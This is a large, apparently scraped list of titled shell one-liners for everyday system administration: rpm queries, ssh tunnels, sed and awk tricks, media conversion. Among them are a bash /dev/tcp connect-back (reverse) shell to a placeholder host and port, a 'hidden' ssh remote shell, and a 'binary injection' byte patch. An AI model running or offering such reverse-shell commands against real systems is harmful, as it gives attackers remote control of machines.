6178
6179# Remove all hidden files in a directory
6180rm -r .??*
6181
6182# Prints any IP out of a file
6183perl -ne 'while (/([0-9]+\.){3}[0-9]+/g) {print "$&\n"};' file.txt
6184
6185# Dump HTTP header using wget
6186wget --server-response --spider http://www.example.com/
6187
6188# backup your entire hosted website using cPanel backup interface and wget
6189wget --http-user=YourUsername --http-password=YourPassword http://YourWebsiteUrl:2082/getbackup/backup-YourWebsiteUrl-`date +"%-m-%d-%Y"`.tar.gz
6190
6191# Copy input sent to a command to stderr
6192rev <<< 'lorem ipsum' | tee /dev/stderr | rev
6193
6194# create a simple version of ls with extended output
6195alias l='ls -CFlash'
6196
6197# Make info pages much less painful
6198pinfo date
6199
6200# print battery , thermal , and cooling info
6201acpi -tc
6202
6203# View a man page on a nice interface
6204yelp man:foo
6205
6206# Emptying a text file in one shot
6207:1,$d
6208
6209# Change files case, without modify directories, recursively
6210find ./ -name '*.JPG' -type f -execdir rename -f 'y/A-Z/a-z/' {} \+
6211
6212# Create subversion undo point
6213function svnundopoint() { if [ -d .undo ]; then r=`svn info | grep Revision | cut -f 2 -d ' '` && t=`date +%F_%T` && f=${t}rev${r} && svn diff>.undo/$f && svn stat>.undo/stat_$f; else echo Missing .undo directory; fi }
6214
6215# force unsupported i386 commands to work on amd64
6216setarch i386 [command [args]]
6217
6218# Combine all .mpeg files in current directory into one big one.
6219cat *.mpg > all.mpg
6220
6221# Display condensed log of changes to current git repository
6222git log --pretty=oneline
6223
6224# Watch the National Debt clock
6225watch -n 10 "wget -q http://www.brillig.com/debt_clock -O - | grep debtiv.gif | sed -e 's/.*ALT=\"//' -e 's/\".*//' -e 's/ //g'"
6226
6227# Output system statistics every 5 seconds with timestamp
6228while [ 1 ]; do echo -n "`date +%F_%T`" ; vmstat 1 2 | tail -1 ; sleep 4; done
6229
6230# Tail a log file with long lines truncated
6231tail -f logfile.log | cut -b 1-80
6232
6233# positions the mysql slave at a specific master position
6234slave start; SELECT MASTER_POS_WAIT('master.000088','8145654'); slave stop;
6235
6236
6237
6238# Spell check the text in clipboard (paste the corrected clipboard if you like)
6239xclip -o > /tmp/spell.tmp; aspell check /tmp/spell.tmp ; cat /tmp/spell.tmp | xclip
6240
6241# Display information sent by browser
6242nc -l 8000
6243
6244# Determine the version of a specific package with RPM
6245rpm -q --qf "%{VERSION}\n" redhat-release
6246
6247# add a gpg key to aptitute package manager in a ubuntu system
6248wget -q http://xyz.gpg -O- | sudo apt-key add -
6249
6250# add static arp entry to default gateway, arp poison protection
6251arp -s $(route -n | awk '/^0.0.0.0/ {print $2}') \ $(arp -n | grep `route -n | awk '/^0.0.0.0/ {print $2}'`| awk '{print $3}')
6252
6253# Quick calculator at the terminal
6254echo "$math_expr" | bc -l
6255
6256# burn a isofile to cd or dvd
6257cdrecord -v dev=/dev/cdrom yourimage.iso
6258
6259# Remove embedded fonts from a pdf.
6260gs -sDEVICE=pswrite -sOutputFile=- -q -dNOPAUSE With-Fonts.pdf -c quit | ps2pdf - > No-Fonts.pdf
6261
6262# keep an eye on system load changes
6263watch -n 7 -d 'uptime | sed s/.*users,//'
6264
6265# Quick plotting of a function
6266seq 0 0.1 20 | awk '{print $1, cos(0.5*$1)*sin(5*$1)}' | graph -T X
6267
6268# Averaging columns of numbers
6269awk '{sum1+=$1; sum2+=$2} END {print sum1/NR, sum2/NR}' file.dat
6270
6271# Creates a proxy based on tsocks.
6272alias tproxy='ssh -ND 8118 user@server&; export LD_PRELOAD="/usr/lib/libtsocks.so"'
6273
6274# Add thousand separator with sed, in a file or within pipe
6275sed -e :a -e 's/\(.*[0-9]\)\([0-9]\{3\}\)/\1,\2/;ta' filename
6276
6277# start vim in diff mode
6278vimdiff file{1,2}
6279
6280# Time Synchronisation with NTP
6281ntpdate ntp.ubuntu.com pool.ntp.org
6282
6283# Quicker move to parent directory
6284alias ..='cd ..'
6285
6286# Lists architecture of installed RPMs
6287rpm -qa --queryformat "%{NAME} %{ARCH}\n"
6288
6289# Display usb power mode on all devices
6290for i in `find /sys/devices/*/*/usb* -name level` ; do echo -n "$i: " ; cat $i ; done
6291
6292# Display a list of RPMs installed on a particular date
6293rpm -qa --queryformat '%{installtime} \"%{vendor}\" %{name}-%{version}-%{release} %{installtime:date}\n' | grep "Thu 05 Mar"
6294
6295# create a backup for all directories from current dir
6296find -maxdepth 1 -type d -print0 | xargs -0 -I {} tar -cvzf {}.tar.gz {}
6297
6298# Display 6 largest installed RPMs sorted by size (descending)
6299rpm -qa --qf '%{SIZE} %{NAME}\n' | sort -nr | nl | head -6 # six largest RPMs
6300
6301# Convert embedded spaces in filenames to "_" (underscore)
6302ls -1 | grep " " | awk '{printf("mv \"%s\" ",$0); gsub(/ /,"_",$0); printf("%s\n",$0)}' | sh # rename filenames: spaces to "_"
6303
6304# Display kernel profile of currently executing functions in Solaris.
6305lockstat -I -i 977 -s 30 -h sleep 1 > /tmp/profile.out
6306
6307# List all the files that have been deleted while they were still open.
6308lsof | egrep "^COMMAND|deleted"
6309
6310# Search through all installed packages names (on RPM systems)
6311rpm -qa \*code\*
6312
6313
6314
6315# Binary injection
6316echo -n $HEXBYTES | xxd -r -p | dd of=$FILE seek=$((0x$OFFSET)) bs=1 conv=notrunc
6317
6318# Forwards connections to your port 2000 to the port 22 of a remote host via ssh tunnel
6319ssh -NL 2000:remotehost:22 remotehost
6320
6321# Change the extension of a filename by using rename to convert
6322rename .JPG .jpg *.JPG
6323
6324# Repeatedly send a string to stdout-- useful for going through "yes I agree" screens
6325yes "text" | annoying_installer_program # "text" defaults to the letter y
6326
6327# Copy the text from the 3rd line to the 9th line into a new file with VI
6328:3,9w new_file
6329
6330# cat stdout of multiple commands
6331cat <( command1 arg arg ) <( command2 arg ) ...
6332
6333# Find commets in jpg files.
6334find / -name "*.jpg" -print -exec rdjpgcom '{}' ';'
6335
6336# View a file with less, starting at the end of the file
6337less +G <filename>
6338
6339# vi case insensitive search
6340:set ic
6341
6342# "hidden" remote shell
6343ssh -T user@host /bin/bash -i
6344
6345# Find all files with root SUID or SGID executables
6346sudo find / -type f \( -perm /4000 -a -user root \) -ls -o \( -perm /2000 -a -group root \) -ls
6347
6348# Delete empty directories recursively
6349find <top_level_dir> -depth -type d -empty -exec rmdir -v {} \;
6350
6351# Make backups recurse through directories
6352find -type -f -exec cp {} {}.bak \;
6353
6354# Remove several files with ease
6355rm file{1..10}
6356
6357# Prints new content of files
6358tail -f file1 (file2 .. fileN)
6359
6360# replace a character/word/string in a file using vim
6361:%s/old/new/g
6362
6363# Extract icons from windows exe/dll
6364wrestool -x --output . -t14 /path/to/your-file.exe
6365
6366# Know which version dpkg/apt considers more recent
6367dpkg --compare-versions 1.0-2ubuntu5 lt 1.1-1~raphink3 && echo y || echo n
6368
6369# make a list of movies(.m3u).
6370find $HOME -type f -print | perl -wnlaF'/' -e 'BEGIN{ print "#EXTM3U"; } /.+\.wmv$|.+\.mpg$|.+\.vob$/i and print "#EXTINF:$F[-1]\nfile://$&";' > movies.m3u
6371
6372# Label EXT2/EXT3 File System
6373e2label /dev/vg0/lv0 MyFiles
6374
6375# Replace "space" char with "dot" char in current directory file names
6376ls -1 | while read a; do mv "$a" `echo $a | sed -e 's/\ /\./g'`; done
6377
6378# sort ugly text
6379sort -bdf
6380
6381# Recursive Search and Replace
6382perl -pi -e's/<what to find>/<what to replace it with>/g' `grep -Rl <what to find> /<dir>/*`
6383
6384# remove all snapshots from all virtual machines in vmware esx
6385time vmware-cmd -l | while read x; do printf "$x"; vmware-cmd "$x" removesnapshots; done
6386
6387# Print the last modified file
6388ls -t1 | head -n1
6389
6390
6391
6392# Symlink all files from a base directory to a target directory
6393for f in $(ls -d /base/*); do ln -s $f /target; done && ls -al /target
6394
6395# Create passwords and store safely with gpg
6396tr -dc "a-zA-Z0-9-_\$\?" < /dev/urandom | head -c 10 | gpg -e -r medha@nerdish.de > password.gpg
6397
6398# Type strait into a file from the terminal.
6399cat /dev/tty > FILE
6400
6401# convert a pdf to jpeg
6402sips -s format jpeg Bild.pdf --out Bild.jpg
6403
6404# Cleanly manage tempfiles in scripts
6405TMPROOT=/tmp; TMPDIR=$(mktemp -d $TMPROOT/somedir.XXXXXX); TMPFILE=$(mktemp $TMPROOT/somefile.XXXXXX); trap "rm -rf $TMPDIR $TMPFILE; exit" INT TERM EXIT; some treatment using $TMPDIR and $TMPFILE; exit 0
6406
6407# 1:1 copy of a volume
6408find / -xdev -print | cpio -pdmuv /mnt/mydisk
6409
6410# sort through source to find most common authors
6411find . -type f -name "*.java" -print0 | xargs -0 -n 1 svn blame | sed -n 's/^[^a-z]*\([a-z]*\).*$/\1/p' | sort | uniq -c | sort -n
6412
6413# Drop or block attackers IP with null routes
6414sudo route add xxx.xxx.xxx.xxx gw 127.0.0.1 lo
6415
6416# split a string (3)
6417OLD_IFS="$IFS"; IFS=: ARRAY=($PATH); echo ${ARRAY[2]}; IFS="$OLD_IFS"
6418
6419# get your terminal back after it's been clobbered
6420reset
6421
6422# Set file access control lists
6423setfacl -m u:john:r-- myfile
6424
6425# create an screenshot, upload it to your server via scp and then open that screenshot in firefox
6426FILE="`date +%m%d%H%M%S`.png"; URL="http://YOUR_HOST/YOUR/PATH/$FILE"; TMP="/tmp/$FILE"; import -frame $TMP; scp $TMP YOUR-USER@YOUR-HOST:/YOUR/PATH/; rm $TMP; firefox "$URL"
6427
6428# Compress logs older than 7 days
6429find /path/to/files -type f -mtime +7 | grep -v \.gz | xargs gzip
6430
6431# Quickest way to sort/display # of occurences
6432"some line input" | sort | uniq -c | sort -nr
6433
6434# Kill any lingering ssh processes
6435for i in `ps aux | grep ssh | grep -v grep | awk {'print $2'}` ; do kill $i; done
6436
6437# Copy a file from a remote server to your local box using on-the-fly compression
6438rsync -Pz user@remotehost:/path/file.dat .
6439
6440# Show current iptables rules, with line numbers
6441iptables -nL -v --line-numbers
6442
6443# Find out the last times your system was rebooted (for the duration of wtmp).
6444last reboot
6445
6446# Follow a new friend on twitter
6447curl -u USERNAME:PASSWORD -d "" http://twitter.com/friendships/create/NAMEOFNEWFRIEND.xml?follow=true
6448
6449# read a file line by line and perform some operation on each line
6450while read line; do echo "$(date),$(hostname),$line"; done < somefile.txt
6451
6452# doing some floating point math
6453echo "8000000/(20*6*86400)" | bc -l
6454
6455# List all active access_logs for currently running Apache or Lighttpd process
6456lsof -p $(netstat -ltpn|awk '$4 ~ /:80$/ {print substr($7,1,index($7,"/")-1)}')| awk '$9 ~ /access.log$/ {print $9| "sort -u"}'
6457
6458# Empty the linux buffer cache
6459sync && echo 3 > /proc/sys/vm/drop_caches
6460
6461# Delete .svn directories and content recursively
6462`find . -iname ".svn" -type d | sed -e "s/^/rm -rfv /g"`
6463
6464# Clean up after a poorly-formed tar file
6465tar ztf tar-lacking-subdirectory.tar.gz | xargs rm
6466
6467
6468
6469# Simple example of the trap command
6470trap "echo \"$0 process $$ killed on $(date).\"; exit " HUP INT QUIT ABRT TERM STOP
6471
6472# Simple complete system backup excluding files or directories
6473tar zcpf backup.tgz --exclude=/proc --exclude=backup.tgz /
6474
6475# listen to ram
6476cat /dev/mem > /dev/audio
6477
6478# Comma insertions
6479perl -pe '$_=reverse;s/\d{3}(?=\d)(?!.*?\.)/$&,/g;$_=reverse'
6480
6481# Double your disk read performance in a single command
6482blockdev --setra 1024 /dev/sdb
6483
6484# dump database from postgresql to a file
6485pg_dump -Ft -b -Uusername -hdb.host.com db_name > db.tar
6486
6487# Generate a Random Password
6488dd if=/dev/urandom bs=1 count=32 2>/dev/null | base64 -w 0 | rev | cut -b 2- | rev
6489
6490# Make a high definition VNC
6491vncserver -nohttpd -name hidef-server -depth 24 -geometry 1440x900
6492
6493# generate random number
6494echo $RANDOM
6495
6496# Finding the number of cpu's
6497grep -c -e '^cpu[0-9]\+' /proc/stat
6498
6499# find text in a file
6500find /directory/to/search/ -type f -print0 | xargs -0 grep "findtext"
6501
6502# Recursively move folders/files and preserve their permissions and ownership perfectly
6503cd /source/directory; tar cf - . | tar xf - -C /destination/directory
6504
6505# Output files without comments or empty lines
6506grep -v "^\($\|#\)" <filenames>
6507
6508# faster version of ls *
6509echo *
6510
6511# remove leading blank lines
6512sed '/./,$!d'
6513
6514# Search inside a folder of jar/zip files
6515find . -name "*.jar" | xargs -tn1 jar tvf | grep --color "SearchTerm"
6516
6517# Netstat Connection Check
6518netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n | tail
6519
6520# Display command lines visible on commandlinefu.com homepage
6521ruby -ropen-uri -e 'require "hpricot";(Hpricot(open("http://commandlinefu.com"))/".command").each{|c| puts c.to_plain_text}'
6522
6523# Delete line number 10 from file
6524sed -i '10d' <somefile>
6525
6526# Gzip files older than 10 days matching *
6527find . -type f -name "*" -mtime +10 -print -exec gzip {} \;
6528
6529# Determine an image's dimensions
6530identify -format "%wx%h" /path/to/image.jpg
6531
6532# Mac OS-X-> copy and paste things to and from the clipboard from the shell
6533command | pbcopy && pbpaste
6534
6535# Email a file to yourself
6536uuencode $file $file | /usr/bin/mailx -s "$file" ${USER}
6537
6538# BourneShell: Go to previous directory
6539cd -
6540
6541# purge all packages marked with 'rc'
6542sudo dpkg --purge `dpkg -l | awk '/^r/{print $2}'`
6543
6544
6545
6546# Concatenates lines using sed
6547sed -e :a -e '/$/N;s/\n/ /;ta' <filename>
6548
6549# Display your ${PATH}, one directory per line
6550echo $PATH | tr : \\n
6551
6552# Copy text to the clipboard
6553cat SomeFile.txt | pbcopy
6554
6555# HTTP Get of a web page via proxy server with login credentials
6556curl -U username[:password] -x proxyserverIP:proxyserverPort webpageURI
6557
6558# Check if running in an X session
6559if [ ! -z "${DISPLAY}" ]; then someXcmd ; fi
6560
6561# Recover cvs ": no such repository" error
6562find ./* -name 'CVS' | awk '{print "dos2unix " $1 "/*"}' | awk '{system($0)}'
6563
6564# delete unversioned files in a checkout from svn
6565svn st | grep "^\?" | awk "{print \$2}" | xargs rm -rf
6566
6567# Rsync between two servers
6568rsync -zav --progress original_files_directory/ root@host(IP):/path/to/destination/
6569
6570# replace XX by YY in the the current directory and cd to it. ( in ZSH )
6571cd XX YY
6572
6573# Show a line when a "column" matchs
6574awk '{ FS = OFS = "#" } { if ($9==1234) print }' filename*.log > bigfile.log
6575
6576# Split and join with split and cat.
6577split -b 1k file ; cat x* > file
6578
6579# Sort IP addresses
6580sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 /file/of/ip/addresses
6581
6582# Check executable shared library usage
6583ldd <executable binary>
6584
6585# fix broken permissions
6586find /path -type d -perm 777 -exec chmod 755 {} \;
6587
6588# Use color grep by default
6589alias grep 'gnu grep -i --color=auto'
6590
6591# finding cr-lf files aka dos files with ^M characters
6592find $(pwd) -type f -exec grep -l "$(echo "\r")" {} \;
6593
6594# Make a thumbnail image of first page of a PDF.
6595convert -resize 200 -sharpen 40 some_file.pdf[0] some_file.jpg
6596
6597# Import/clone a Subversion repo to a git repo
6598git svn --authors-file=some-authors-file clone svn://address/of/svn/repo new-git-dir
6599
6600# Analyze, check, auto-repair and optimize Mysql Database
6601mysqlcheck -a --auto-repair -c -o -uroot -p [DB]
6602
6603# Gives you what's between first string and second string included.
6604sed "s/^ABC/+ABC/" <file | sed "s/DEF$/DEF+/" | tr "\n" "~" | tr "+" "\n" | grep "^ABC" | tr "~" "\n"
6605
6606# Get My Public IP Address
6607curl -s http://whatismyip.org/
6608
6609# download a sequence of vim patch
6610seq -f"ftp://ftp.vim.org/pub/vim/patches/7.1/7.1.%03g" 176 240 | xargs -I {} wget -c {};
6611
6612# trace the system calls made by a process (and its children)
6613strace -f -s 512 -v ls -l
6614
6615# Getting GnuPG Public Keys From KeyServer
6616gpg --keyserver pgp.surfnet.nl --recv-key 19886493
6617
6618# The simplest way to transport information over a network
6619(on destination machine) nc -l 1234 > whatever; (on source machine) nc destination 1234 < whatever;
6620
6621
6622
6623# Binary search/replace
6624xxd < orig | sed 's/A/B/' | sed 's/HEXA/HEXB/' | xxd -r > new
6625
6626# "I Feel Lucky" for Google Images
6627echo -n "search> ";read QUERY && wget -O - `wget -O - -U "Mozilla/5.0" "http://images.google.com/images?q=${QUERY}" 2>/dev/null |sed -e 's/","http/\n","http/g' |awk -F \" '{print $3}' |grep -i http: |head -1` > "$QUERY"
6628
6629# modify a file in place with perl
6630perl -pi -e 's/THIS/THAT/g' fileglob*
6631
6632# Create a DOS floppy image
6633dd if=/dev/zero bs=1024 count=1440 > floppy.img && mkdosfs floppy.img
6634
6635# Test for Weak SSL Ciphers
6636openssl s_client -connect [host]:[sslport] -cipher LOW
6637
6638# Translate your terminal into Swedish Chef
6639perl -e '$b="bork"; while(<STDIN>){$l=`$_ 2>&1`; $l=~s/[A-Za-z]+/$b/g; print "$l$b\@$b:\$ ";}'
6640
6641# Change every instance of OLD to NEW in file FILE
6642sed -i 's/OLD/NEW/g' FILE
6643
6644# Getting started with tcpdump
6645tcpdump -nli eth0; tcpdump -nli eth0 src or dst w.x.y.z; tcpdump -nli eth0 port 80; tcpdump -nli eth0 proto udp
6646
6647# Dump root ext3 fs over ssh
6648dump 0f - / | bzip -c9 | ssh user@host "cat > /home/user/root.dump.bz2"
6649
6650# Resets a terminal that has been messed up by binary input
6651reset
6652
6653# Display total Kb/Mb/Gb of a folder and each file
6654du -hc *
6655
6656# easily convert one unit to another
6657units "2048 bytes" "kibibytes"
6658
6659# show the date every rpm was installed
6660rpm -qa --last
6661
6662# command line to optimize all table from a mysql database
6663mysql -u uname dbname -e "show tables" | grep -v Tables_in | grep -v "+" | gawk '{print "optimize table " $1 ";"}' | mysql -u uname dbname
6664
6665# To find the count of each open file on a system (that supports losf)
6666sudo lsof | awk '{printf("%s %s %s\n", $1, $3, $NF)}' | grep -v "(" | sort -k 4 | gawk '$NF==prv{ct++;next} {printf("%d %s\n",ct,$0);ct=1;prv=$NF}' | uniq | sort -nr
6667
6668# rgrep: recursive grep without .svn
6669alias rgrep="find . \( ! -name .svn -o -prune \) -type f -print0 | xargs -0 grep"
6670
6671# get a directory from one machine to another using tar and ssh
6672ssh somemachine "cd some dir; tar zcpf - somedirname" |tar zxpf -
6673
6674# A nice command for summarising repeated information
6675alias counts=sort | uniq -c | sort -nr
6676
6677# Run a command on a remote machine
6678ssh user@host "ps aux | grep httpd | wc -l"
6679
6680# Display a list of all PHP classes that are called statically
6681find . -name "*\.php" | xargs grep -o --color "\w\+::\w\+" | cut -d":" -f2 | sort | uniq -c
6682
6683# Find UID of current user.
6684echo $UID
6685
6686# Count lines of code across multiple file types, sorted by least amount of code to greatest
6687find . \( -iname '*.[ch]' -o -iname '*.php' -o -iname '*.pl' \) -exec wc -l {} \; | sort
6688
6689# This is N5 sorta like rot13 but with numbers only
6690echo "$1" | xxd -p | tr '0-9' '5-90-6'; echo "$1" | tr '0-9' '5-90-6' | xxd -r -p
6691
6692# Stat each file in a directory
6693find . -maxdepth 1 -type f | xargs stat
6694
6695# Get Lorum Ipsum random text from lorumipsum.com
6696lynx -source http://www.lipsum.com/feed/xml?amount=3|perl -p -i -e 's/\n/\n\n/g'|sed -n '/<lipsum>/,/<\/lipsum>/p'|sed -e 's/<[^>]*>//g'
6697
6698
6699
6700# Converting video file (.flv, .avi etc.) to .3gp
6701ffmpeg -i input.avi -s qcif -vcodec h263 -r 20 -b 180k -acodec libfaac -ab 64k -ac 2 -ar 22050 output.3gp
6702
6703# Run TOP in Color, split 4 ways for x seconds - the ultimate ps command. Great for init scripts
6704G=$(stty -g);stty rows $((${LINES:-50}/2));top -n1; stty $G;unset G
6705
6706# Converts uppercase chars in a string to lowercase
6707echo StrinG | tr '[:upper:]' '[:lower:]'
6708
6709# Get your external IP address
6710curl ifconfig.me/all/json
6711
6712# Find if $b is in $a in bash
6713if grep -q "$b" <<<$a; then echo "'$b' was found in '$a'"; fi
6714
6715# copy from host1 to host2, through your host
6716ssh user@<source_host> -- tar cz <path> | ssh user@<destination_host> -- tar vxzC <path>
6717
6718# Extract title from HTML files
6719awk 'BEGIN{IGNORECASE=1;FS="<title>|</title>";RS=EOF} {print $2}' file.html
6720
6721# Juste a reminder that this works.
6722true || false && echo true || echo false
6723
6724# Download a new release of a program that you already have very quickly
6725zsync -i existing-file-on-disk.iso http://example.com/new-release.iso.zsync
6726
6727# Measure, explain and minimize a computer's electrical power consumption
6728sudo powertop
6729
6730# List all packages by installed size (Bytes) on rpm distros
6731rpm -q -a --qf '%10{SIZE}\t%{NAME}\n' | sort -k1,1n
6732
6733# Extract title from HTML files
6734sed -n 's/.*<title>\(.*\)<\/title>.*/\1/ip;T;q' file.html
6735
6736# remove empty lines
6737sed '/^$/d'
6738
6739# convert ascii string to hex
6740echo $ascii | perl -ne 'printf ("%x", ord($1)) while(/(.)/g); print "\n";'
6741
6742# Play all the music in a folder, on shuffle
6743mplayer -shuffle *
6744
6745# Run command from another user and return to current
6746su - $user -c <command>
6747
6748# Open a file in a GTK+ dialog window
6749zenity --title passwd --width 800 --height 600 --text-info --filename /etc/passwd
6750
6751# Delete all files older than X in given path
6752find . -mtime +10 -delete
6753
6754# Load all files (including in subdirs), whose name matches a substring, into Vim
6755vim $(find . ! -path \*.svn\* -type f -iname \*foo\*)
6756
6757# Take a file as input (two columns data format) and sum values on the 2nd column for all lines that have the same value in 1st column
6758awk '{a[$1] += $2} END { for (i in a) {print i " " a[i]}}' /path/to/file
6759
6760# remove oprhan package on debian based system
6761sudo deborphan | xargs sudo apt-get -y remove --purge
6762
6763# Extracting frames from a video as jpeg files
6764mplayer -ao null -sid 999 -ss 00:15:45 -endpos 10 filename.avi -vo jpeg:outdir=out_frames
6765
6766# Generic shell function for modifying files in-place
6767inplace() { eval F=\"\$$#\"; "$@" > "$F".new && mv -f "$F".new "$F"; }
6768
6769# Display error pages in report format
6770sudo awk '($9 ~ /404/)' /var/log/httpd/www.domain-access_log | awk '{print $2,$9,$7,$11}' | sort | uniq -c
6771
6772# count of files from each subfolder
6773for i in `find /home/ -maxdepth 1 -type d`; do echo -n $i " ";find $i|wc -l; done
6774
6775
6776
6777# most used unix commands
6778cut -d\ -f 1 ~/.bash_history | sort | uniq -c | sort -rn | head -n 10 | sed 's/.*/ &/g'
6779
6780# How to speedup the Ethernet device
6781sudo ethtool -s eth0 speed 100 duplex full
6782
6783# Delete leading whitespace from the start of each line
6784sed 's/^\s*//' input.txt
6785
6786# Delete leading whitespace from the start of each line
6787sed 's/^[ \t]*//' input.txt
6788
6789# Check response time of webpage
6790curl -s -w "\nResponse time:\t%{time_total}s\n" -o /dev/null http://www.commandlinefu.com
6791
6792# statistics in one line
6793perl -MStatistics::Descriptive -alne 'my $stat = Statistics::Descriptive::Full->new; $stat->add_data(@F[1..4]); print $stat->variance' filename
6794
6795# tar directory and compress it with showing progress and Disk IO limits
6796tar cf - dirA | pv --size `du -sh dirA | cut -f1` --rate-limit 800k | bzip2 > a.tar.bz2
6797
6798# Change user within ssh session retaining the current MIT cookie for X-forwarding
6799su username -c "xauth add ${HOSTNAME}/unix:${DISPLAY//[a-zA-Z:_-]/} $(xauth list | grep -o '[a-zA-Z0-9_-]*\ *[0-9a-zA-Z]*$'); bash"
6800
6801# Working random fact generator
6802wget randomfunfacts.com -O - 2>/dev/null | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;" | while read FUNFACT; do notify-send -t $((1000+300*`echo -n $FUNFACT | wc -w`)) -i gtk-dialog-info "RandomFunFact" "$FUNFACT"; done
6803
6804# Send your svn diff to meld
6805svn diff --diff-cmd='meld' -r 100:BASE FILE
6806
6807# Capture screen and mic input using FFmpeg and ALSA
6808ffmpeg -f alsa -itsoffset 00:00:02.000 -ac 2 -i hw:0,0 -f x11grab -s $(xwininfo -root | grep 'geometry' | awk '{print $2;}') -r 10 -i :0.0 -sameq -f mp4 -s wvga -y intro.mp4
6809
6810# Simple addicting bash game.
6811while $8;do read n;[ $n = "$l" ]&&c=$(($c+1))||c=0;echo $c;l=$n;done
6812
6813# Change Mac OS X Login Picture
6814defaults write /Library/Preferences/com.apple.loginwindow DesktopPicture "/System/Library/CoreServices/Finder.app/Contents/Resources/vortex.png"
6815
6816# Drag A Dashboard Widget Onto OS X Desktop
6817defaults write com.apple.dashboard devmode YES
6818
6819# Convert an ISO file to DMG format in OS X Terminal
6820hdiutil convert /path/imagefile.iso -format UDRW -o /path/convertedimage.dmg
6821
6822# Convert a DMG file to ISO in OS X Terminal
6823hdiutil convert /path/imagefile.dmg -format UDTO -o /path/convertedimage.iso
6824
6825# Cleanly kill a process
6826Cleankill () { kill -s HUP $1; sleep 1 ; kill -s KILL $1 > /dev/null 2>1;}
6827
6828# Leap year calculation
6829leapyear() { [ $(date -d "Dec 31, $1" +%j) == 366 ] && echo leap || echo not leap; }
6830
6831# List all execs in $PATH, usefull for grepping the resulting list
6832find ${PATH//:/ } -iname "*admin*" -executable -type f
6833
6834# Print Asterisk phone logs
6835phonelogs() { grep "$1" /var/log/asterisk/cdr-csv/Master.csv | cut -d',' -f 2,3,11,12 --output-delimiter=" " | sed 's/"//g' | cut -d' ' -f 1,2,3,4,6 | column -t; }
6836
6837# SED - Substitute string in next line
6838sed -i.backup '/patter/{n;s/foo/bar/g}' file
6839
6840# Set the hardware date and time based on the system date
6841hwclock --systohc -utc
6842
6843# Colorize svn stat
6844svn stat -u | sort | sed -e "s/^M.*/\o033[31m&\o033[0m/" -e "s/^A.*/\o033[34m&\o033[0m/" -e "s/^D.*/\o033[35m&\o033[0m/"
6845
6846# Upload an image to Twitpic
6847curl -F "username=mytwiterlogin" -F "password=mytwitterpassword" -F "message=My image description" -F media=@"./image.png" http://twitpic.com/api/uploadAndPost
6848
6849# Find how much of your life you've wasted coding in the current directory
6850find * \( -name "*.[hc]pp" -or -name "*.py" -or -name "*.i" \) -print0 | xargs -0 wc -l | tail -n 1
6851
6852
6853
6854# Truncate 0.3 sec from an audio file using sox
6855sox input.wav output.wav reverse trim 00:00:00.3 reverse
6856
6857# Print a row of 50 hyphens
6858for i in `seq 1 1 50`; do echo -n -; done
6859
6860# Change attributes of files so you can edit them
6861sudo chattr -i <file that cannot be modified>
6862
6863# Recursively scan directories for mp3s and pass them to mplayer
6864rm -rf /tmp/playlist.tmp && find ~/mp3 -name *.mp3 > /tmp/playlist.tmp && mplayer -playlist /tmp/playlist.tmp -shuffle -loop 0 | grep Playing
6865
6866# Count threads of a jvm process
6867ps uH p <PID_OF_U_PROCESS> | wc -l
6868
6869# Number of files in a SVN Repository
6870svn log -v --xml file:///path/to/rep | grep kind=\"file\"|wc -l
6871
6872# Currency Conversion
6873currency_convert() { curl -s "http://www.google.com/finance/converter?a=$1&from=$2&to=$3" | sed '/res/!d;s/<[^>]*>//g'; }
6874
6875# Normalize volume in your mp3 library
6876find . -type f -name '*.mp3' -execdir mp3gain -a '{}' +
6877
6878# watch your network load on specific network interface
6879watch -n1 'ifconfig eth0|grep bytes'
6880
6881# dump the whole database
6882mysqldump --lock-tables --opt DBNAME -u UNAME --password=PASS | gzip > OUTFILE
6883
6884# dump the whole database
6885mysqldump -u UNAME -p DBNAME > FILENAME
6886
6887# Get your public ip
6888curl -s ip.appspot.com
6889
6890# Get a metascore from metacritic.com
6891metascore(){ curl -s "http://www.metacritic.com/$@" | sed -rn 's|\t*<!-- metascore --><div id="metascore" class=".*">([^<]*)</div>|\1|p'; }
6892
6893# Connect-back shell using Bash built-ins
6894exec 0</dev/tcp/hostname/port; exec 1>&0; exec 2>&0; exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0
6895
6896# Display condensed log in a tree-like format.
6897git log --graph --pretty=oneline --decorate
6898
6899# Export OPML from Google Reader
6900export-opml(){ curl -sH "Authorization: GoogleLogin auth=$(curl -sd "Email=$1&Passwd=$2&service=reader" https://www.google.com/accounts/ClientLogin | grep Auth | sed 's/Auth=\(.*\)/\1/')" http://www.google.com/reader/subscriptions/export; }
6901
6902# Insert a line for each n lines
6903ls -l | sed "$(while (( ++i < 5 )); do echo "N;"; done) a -- COMMIT --"
6904
6905# Terminal Escape Code Zen - Strace and Tput
6906termtrace(){( strace -s 1000 -e write tput $@ 2>&2 2>&1 ) | grep -o '"[^"]*"';}
6907
6908# converting vertical line to horizontal line
6909tr '\n' '\t' < inputfile
6910
6911# Quickly build ulimit command from current values
6912echo "ulimit `ulimit -a|sed -e 's/^.*\([a-z]\))\(.*\)$/-\1\2/'|tr "\n" ' '`"
6913
6914# Find C/C++ source files
6915find . -name '*.[c|h]pp' -o -name '*.[ch]' -type f
6916
6917# Email an svn dump
6918(svnadmin dump /path/to/repo | gzip --best > /tmp/svn-backup.gz) 2>&1 | mutt -s "SVN backup `date +\%m/\%d/\%Y`" -a /tmp/svn-backup.gz emailaddress
6919
6920# Fetch the Gateway Ip Address
6921netstat -nr | awk 'BEGIN {while ($3!="0.0.0.0") getline; print $2}'
6922
6923# simple echo of IPv4 IP addresses assigned to a machine
6924ip addr | awk '/inet / {sub(/\/.*/, "", $2); print $2}'
6925
6926# Sort a character string
6927echo sortmeplease | perl -pe 'chomp; $_ = join "", sort split //'
6928
6929
6930
6931# Top ten (or whatever) memory utilizing processes (with children aggregate) - Can be done without the multi-dimensional array
6932ps axo rss,comm,pid | awk '{ proc_list[$2] += $1; } END { for (proc in proc_list) { printf("%d\t%s\n", proc_list[proc],proc); }}' | sort -n | tail -n 10
6933
6934# Show the 1000*1000 and 1024*1024 size of HDs on system
6935awk '/d[a-z]+$/{print $4}' /proc/partitions | xargs -i sudo hdparm -I /dev/{} | grep 'device size with M'
6936
6937# Mount a truecrypt drive from a file from the command line interactively
6938sudo truecrypt <truecrypt-file> <mount-point>
6939
6940# Mouse Tracking
